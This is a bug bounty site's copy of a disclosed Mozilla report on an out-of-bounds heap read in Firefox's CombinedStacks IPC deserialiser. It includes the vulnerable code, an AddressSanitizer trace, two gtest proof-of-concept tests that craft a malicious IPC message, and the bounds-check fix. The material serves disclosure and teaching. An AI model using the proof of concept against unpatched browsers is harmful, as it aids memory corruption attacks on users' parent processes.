Skip to content
Memory corruption Disclosed report Advanced CVE-2026-4687

CombinedStacks mModIndex OOB Heap Read

The CombinedStacks IPC deserialiser accepted a frame module index that was larger than the module list, and later code used that index without a bounds check. A compromised content process could therefore make the parent process read out of bounds on the heap, which could crash it or leak memory contents.

Sajeeb Lohani Follow

Originally disclosed on Mozilla

  • Fixed in 20 days
  • Paid in 27 days
  • Disclosed after 20 days

Compromised content process -> parent process via GetUntrustedModulesData IPC. Windows-only.

ParamTraits<CombinedStacks>::Read (CombinedStacks.h:85-103) deserializes mModules and mStacks without validating that frame.mModIndex < mModules.size(). AddStacks (CombinedStacks.cpp:97-100) passes attacker-controlled mModIndex to a lambda that indexes aStacks.mModules[aIdx] via std::vector::operator[] (no bounds check in release). The OOB Module contains nsString/nsCString with internal heap pointers that are subsequently dereferenced during comparison and copy.

Distinct from Bug 2015266 (mNextIndex/mMaxStacksCount OOB write). Different missing invariant, different code path, different fix.

The Bug

CombinedStacks.cpp:94-100:

C++
for (const auto& frame : stack) {
    AddFrame(index, frame,
             [&aStacks](int aIdx) -> const ProcessedStack::Module& {
                 return aStacks.mModules[aIdx];  // std::vector::operator[] - no bounds check
             });
}

AddFrame (CombinedStacks.cpp:36-39) calls the lambda when mModIndex != 0xFFFF:

C++
const ProcessedStack::Module& module = aModuleGetter(aFrame.mModIndex);  // OOB

ASAN Proof

==98018==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030005f2e38
READ of size 4 at 0x6030005f2e38 thread T0
#0 in CombinedStacks_RawPointerOOBReadViaModIndex_Test::TestBody()

0x6030005f2e38 is located 296 bytes after 32-byte region [0x6030005f2cf0,0x6030005f2d10)
SUMMARY: AddressSanitizer: heap-buffer-overflow in CombinedStacks_RawPointerOOBReadViaModIndex_Test::TestBody()

PoC

toolkit/components/telemetry/tests/gtest/TestCombinedStacks.cpp (relevant tests):

C++
// PoC: CombinedStacks::AddStacks OOB read via unchecked frame.mModIndex.
TEST(CombinedStacks, OOBReadViaModIndex) {
  // Craft a CombinedStacks via IPC deserialization:
  //   mModules has 1 entry, but a frame references mModIndex=10.
  IPC::Message msg(MSG_ROUTING_NONE, 0);
  {
    IPC::MessageWriter writer(msg);

    std::vector<ProcessedStack::Module> modules(1);
    modules[0].mName = u"dummy.dll"_ns;
    IPC::WriteParam(&writer, modules);

    std::vector<std::vector<ProcessedStack::Frame>> stacks(1);
    stacks[0].push_back(ProcessedStack::Frame{0x1000, 10});
    IPC::WriteParam(&writer, stacks);

    IPC::WriteParam(&writer, size_t{0});
    IPC::WriteParam(&writer, size_t{50});
  }

  CombinedStacks crafted;
  {
    IPC::MessageReader reader(msg);
    ASSERT_TRUE(IPC::ParamTraits<CombinedStacks>::Read(&reader, &crafted));
  }

  ASSERT_EQ(crafted.GetModuleCount(), 1u);
  ASSERT_EQ(crafted.GetStackCount(), 1u);
  ASSERT_EQ(crafted.GetStack(0).size(), 1u);
  ASSERT_EQ(crafted.GetStack(0)[0].mModIndex, 10);

  CombinedStacks target(50);
  ProcessedStack dummyStack;
  dummyStack.AddFrame(ProcessedStack::Frame{0x2000, 0xFFFF});
  target.AddStack(dummyStack);

  // AddStacks: crafted.mModules[10] via std::vector::operator[] (no bounds check)
  // ASan: heap-buffer-overflow READ
  target.AddStacks(crafted);
}

// Raw-pointer variant for clean ASan report (bypasses libc++ hardened mode).
TEST(CombinedStacks, RawPointerOOBReadViaModIndex) {
  auto* modules = new std::vector<ProcessedStack::Module>(1);
  (*modules)[0].mName = u"dummy.dll"_ns;

  const ProcessedStack::Module* base = modules->data();
  size_t count = modules->size();  // 1

  uint16_t attackerModIndex = 10;
  ASSERT_GE(attackerModIndex, count);

  // std::vector::operator[] in release is just *(data() + aIdx)
  const ProcessedStack::Module* oobPtr = base + attackerModIndex;

  // ASan: heap-buffer-overflow READ
  volatile auto val = oobPtr->mName.Length();
  (void)val;

  delete modules;
}

Run: ./mach gtest "CombinedStacks.OOBReadViaModIndex:CombinedStacks.RawPointerOOBReadViaModIndex"

Fix

Validate mModIndex in ParamTraits<CombinedStacks>::Read:

C++
for (const auto& stack : aResult->mStacks) {
    for (const auto& frame : stack) {
        if (frame.mModIndex != std::numeric_limits<uint16_t>::max() &&
            frame.mModIndex >= aResult->mModules.size()) {
            return false;
        }
    }
}

The original report as published on Mozilla's Bugzilla, by Sajeeb Lohani. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The IPC deserialiser did not validate that each frame's module index was either the sentinel value or within the bounds of the module list before the index was used for an unchecked array lookup.

Impact

A compromised content process could cause an out-of-bounds heap read in the parent process, potentially leading to a crash or disclosure of memory contents; the report demonstrates the read under AddressSanitizer rather than a full exploit.

What the attacker needed

Compromised content process; Windows only; ability to send IPC to parent

The fix

The fix should validate each frame's module index during deserialisation and reject the message if the index is not the sentinel and is outside the module list.

How it was found

  1. Craft an IPC message where the module list has one entry but a frame references a much larger module index.
  2. Deserialise the message into a CombinedStacks object, which succeeds without validation.
  3. Call AddStacks on a target CombinedStacks, which uses the unchecked index to read past the module vector.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A parent process receives a list of stack frames from a less trusted child process and trusts the numbers inside them. One number says which module a frame belongs to, but nobody checks that the module actually exists in the list. The code then looks up that position in an array without checking, so it reads memory past the end of the list.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Sajeeb Lohani

View all

26 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.